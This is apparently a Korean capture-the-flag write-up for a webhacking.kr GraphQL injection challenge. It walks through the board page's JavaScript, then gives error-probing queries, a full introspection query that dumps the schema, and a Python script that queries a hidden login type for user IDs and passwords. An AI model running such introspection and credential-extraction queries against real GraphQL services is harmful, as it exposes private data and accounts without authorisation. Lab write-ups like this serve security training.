목표 : GraphQL Injection
보드 제목과 두 개의 링크가 보인다.
no=1에는 gif가
no=2에는 jpg가 위치해있다.
소스코드는 셋 다 동일했는데 다음과 같다.
<h2>Board</h2><hr>
<div id="board"></div>
<script>
function getQueryVar(variable) {
var query = window.location.search.substring(1);
var vars = query.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
}
if(!getQueryVar("no")){
q = `query{
view{
no,
subject
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
for(i=0;i<res.data.view.length;i++){
board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
}
}
else{
q = `query{
view{
no,
subject,
content
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
v = res.data.view;
try{
parsed = v.find(v => v.no==getQueryVar("no"));
board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
}
catch{
board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
}
}
</script>
JavaScript
복사
게시판을 표시하는 자바스크립트 코드다.
function getQueryVar(variable) {
var query = window.location.search.substring(1);
var vars = query.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
}
JavaScript
복사
•
window.location.search : window.location.search는 선행 "?"를 포함하여 현재 URL의 쿼리 문자열 부분을 반환하는 JavaScript의 읽기 전용 속성이다. 예를 들어 현재 페이지의 URL이 https://example.com/path/to/page?foo=bar&baz=qux 인 경우 "?foo=bar&baz=qux 를 반환한다. substring(1)은 앞 ?를 지운다.
URL의 쿼리 문자열 부분을 포함하는 window.location.search 속성에서 별도의 키-값 쌍으로 분할하고 지정된 변수 이름과 일치하는 쌍을 찾아 값을 넘겨주는 역할을 한다.
if(!getQueryVar("no")){
q = `query{
view{
no,
subject
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
for(i=0;i<res.data.view.length;i++){
board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
}
}
JavaScript
복사
no 매개변수에 값이 없는 경우 XMLHttpRequest 개체를 사용하여 게시물의 제목 및 ID 목록을 검색하기 위해 GraphQL 쿼리를 서버로 보낸다.
쿼리는 q 변수에 할당된 형태로 구성되며 XMLHttpRequest 은 쿼리 문자열을 매개 변수로 사용하여 "/view.php" 끝점에 GET 요청을 보내는 데 사용된다.
JSON 형식은 각 게시물의 제목에 대한 게시물 ID로 설정된 "no" 매개변수를 사용하여 동일한 페이지로 연결되는 하이퍼링크를 생성한다.
생성된 HTML 코드는 board 요소의 innerHTML 속성에 추가된다.
else{
q = `query{
view{
no,
subject,
content
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
v = res.data.view;
try{
parsed = v.find(v => v.no==getQueryVar("no"));
board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
}
catch{
board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
}
}
JavaScript
복사
no 매개변수에 값이 있는 경우 지정된 ID로 게시물의 콘텐츠를 검색하기 위해 또 다른 GraphQL 쿼리를 보낸다.
쿼리는 no 및 subject 필드 외에 content 필드를 포함한다는 점을 제외하면 이전과 동일한 방식으로 구성된다.
응답이 수신되고 JSON으로 구문 분석되면 응답의 'view' 필드에서 게시물 데이터가 추출되고 해당 ID로 게시물을 검색하는 데 try 형태로 진행된다.
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
Python
복사
핵심 코드는 쿼리를 날리는 다음 코드다.
권한 인증이 미비할 경우
webhacking.kr:10012/view.php?query={__schema{types{name}}}
다음 쿼리만으로 DB명을 확보할 수 있다.
상세한 방법은 아래 Github의 GraphQL 부분을 확인하자.
다음 방법에서 에러가 발생하면 가능하다.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Plain Text
복사
Introspection을 통한 데이터베이스 스키마 출력
http://webhacking.kr:10012/view.php?query=query%20{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}}
GraphQL
복사
해당 취약점이 발생할 경우 위 쿼리문을 통해 모든 데이터스키마를 뽑아낼 수 있다.
위와 같이 모든 결과가 나오면 VScode의 Prettier을 통해 결과를 정리했다.
import requests
url="http://webhacking.kr:10012/view.php?"
def solve(): # GraphQL
payload="query={+login_51b48f6f7e6947fba0a88a7147d54152+{+userid_a7fce99fa52d173843130a9620a787ce,passwd_e31db968948082b92e60411dd15a25cd+}+}"
res = requests.get(url=url+payload)
print(res.text)
if __name__ == "__main__":
solve()
Python
복사
http://webhacking.kr:10012/view.php?query={+login_51b48f6f7e6947fba0a88a7147d54152+{+userid_a7fce99fa52d173843130a9620a787ce,passwd_e31db968948082b92e60411dd15a25cd+}+}
GraphQL
복사